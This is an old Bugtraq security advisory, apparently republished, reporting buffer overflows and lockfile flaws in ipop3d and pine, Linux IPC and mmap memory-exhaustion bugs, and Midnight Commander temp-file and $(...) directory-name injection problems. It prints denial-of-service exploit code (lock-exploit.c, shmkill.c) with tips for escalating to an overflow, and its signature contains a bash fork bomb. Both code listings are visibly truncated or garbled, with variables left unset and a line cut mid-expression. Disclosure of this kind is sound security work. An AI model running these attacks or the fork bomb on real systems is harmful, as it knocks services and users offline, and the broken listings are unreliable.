Michal Zalewski says bugs in ipop3d, pine, kernel, mc

    From: Michal Zalewski <lcamtuf@IDS.PL>
 Subject: ipop3d (x2) / pine (x2) / Linux kernel (x2) / Midnight Commander (x2)
    Date: Sun, 7 Mar 1999 01:41:25 +0100
      To: BUGTRAQ@netspace.org
Reply-To: Michal Zalewski <lcamtuf@IDS.PL>

** Summary of reported vunerabilities **

1. Overflow in CAC.Washington.EDU ipop3d 4.xx
2. Overflow in pine 4.xx (Linux)
3. Lockfile vunerability in pine 4.xx (Linux)
4. Lockfile vunerability in ipop3d 4.xx
5. Linux 2.x IPC vunerability
6. Linux 2.x mmap vunerability
7. Midnight Commander 4.x bugs (x2)


1. Overflow in CAC.Washington.EDU ipop3d 4.xx
2. Overflow in pine 4.xx (Linux)

Both programs, at least on Linux platform, have serious security hole.
When data is read from so-called mailbox lock created in /tmp directory
(this happens under certain conditions - please refer exploit code below),
it's stored in _too_small_ buffer. It is possible to overwrite some data,
and registers as well. For testing purposes, simple exploit code presented
below (vunerabilities 3 and 4) could be used - suggested changes:

write(i,"-1",2)   ->   write(i,"(about 1100 b)",1100)
truncate(i,2)     ->   truncate(i,1100);

Overflow in pine might be used to gain other lusers' privledges (or,
sometimes, root privledges, depending on his stupidity ;-).

Exploited overflow in ipop3d could be used to gain superuser access (the
only thing done by ipop3d is setuid+setgid, no seteuid/setreuid).

CAC.Washington.EDU ipop3d is shipped by default with Red Hat Linux,
included in IMAP package.

Solution: in both cases, you have to look for something like
kill(i,SIGUSR2) in sources and modify lines just before it ;>


3. Lockfile vunerability in pine 4.xx (Linux)
4. Lockfile vunerability in ipop3d 4.xx

The problem is probably well known, but silently ignored by pine vendors.
Unfortunately, it's possible to turn 'mostly harmless feature' in
something nasty - following code allows various DoSes by killing all
processes of luser (could be root?) every time he/she runs pine or
receives mail via POP3 protocol:

-- lock-exploit.c --
// Pine 4.xx, ipop3d 4.xx and other /tmp-lock based mail stuff.

#include <sys/file.h>
#include <sys/stat.h>
#include <unistd.h>

main(int argc,char* argv[]) {
  int i,a=0;
  char s[100];
  struct stat x;
  if (!argv[1]) exit(printf("Usage: %s account_namen",argv[0]));
  if (stat(s,&x)) exit(printf("Mailbox (%s) not found.n",s));
  while (1) {
    if (!a++) if (!flock(i,LOCK_EX)) printf("Got lock on %s.n",s);
      else printf("File %s already locked, wait...n",s);
-- eof --

Works well under Linux. Under BSD, pine seems to have broken mailbox
access negotiation (fortunately ;-). No information about ipop3d.

Mainly, this vunerability demonstrates that world-writable mailbox locks
in /tmp are SICK IDEA (one day, as I recall, one of pine vendors said it's
'harmless', while other solutions allows several DoS attacks... huh).


5. Linux 2.x IPC vunerability

Linux IPC implementation seems to be broken. I noticed Alan about one/two
months ago, so I believe it has been fixed in recent 2.2.x Linuxes. In
fact, any luser may consume whole memory available on system using this
simple program:

-- shmkill.c --
extern int errno;int i,d=1;char*x;main(){while(1){x=shmat(shmget(0,10000000/
-- eof --

Memory won't be freed even if luser's process will be killed, you have to
use ipcrm, but there could be not enough memory to run anything :-(

Under early 2.2.x, you have to run this program several times, to ensure
pages are detached (in this state, they are onwerless ;-).

The simpliest solution is to restrict for lusers IPC at all. Only a few
programs uses IPC - probably only dosemu and ShoutCast ;>


6. Linux 2.x mmap vunerability

Linux 2.0.36 has the similiar problem with copy-on-write pages allocated
with mmap - as these pages are not accounted within per-user limits.
Fortunately, it's less harmfull than (5), because memory will be freed as
soon as process owning it will be killed. Exploit will be NOT posted - see


7. Midnight Commander 4.x bugs (x2)

Still not fixed. Temporary files mc are created in insecure way, allowing
typical races. Also, entering directories containing $(...) somewhere
might result in execution of embeeded code. Described days ago, dunno why
it hasn't been patched.

Michal Zalewski [lcamtuf@ids.pl] [link / marchew] [dione.ids.pl SYSADM]
[Marchew Industries] ! [http://lcamtuf.na.export.pl] bash$ :(){ :|:&};:
[voice phone: +48 (0) 22 813 25 86] ? [pager (MetroBip): 0 642 222 813]
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]

Get the Free Newsletter!

Subscribe to Developer Insider for top news, trends, & analysis